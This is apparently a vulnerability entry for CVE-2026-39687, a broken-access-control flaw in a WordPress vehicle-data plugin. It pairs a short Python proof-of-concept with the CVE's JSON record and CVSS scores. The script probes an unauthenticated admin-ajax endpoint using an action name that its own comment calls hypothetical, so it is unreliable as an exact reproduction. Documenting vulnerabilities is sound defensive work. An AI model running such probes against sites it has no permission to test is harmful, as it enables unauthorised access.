CVE-2026-39687

import requests # CVE-2026-39687 PoC Example # This script demonstrates the lack of authorization on a specific endpoint. # Replace 'target_site.com' with the actual target. target_url = "http://target_site.com/wp-admin/admin-ajax.php" # The vulnerable action parameter (hypothetical based on plugin structure) payload = { "action": "rapid_car_check_vulnerable_action", "param": "malicious_input" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Vulnerability confirmed! Endpoint accessible without authentication.") print("[+] Response:", response.text) else: print("[-] Endpoint returned unexpected status code:", response.status_code) except Exception as e: print("[-] Error occurred:", str(e))

{"cve": {"id": "CVE-2026-39687", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:40.660", "lastModified": "2026-04-29T10:17:40.520", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Rapid Car Check Rapid Car Check Vehicle Data free-vehicle-data-uk allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Rapid Car Check Vehicle Data: from n/a through <= 2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/free-vehicle-data-uk/vulnerability/wordpress-rapid-car-check-vehicle-data-plugin-2-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}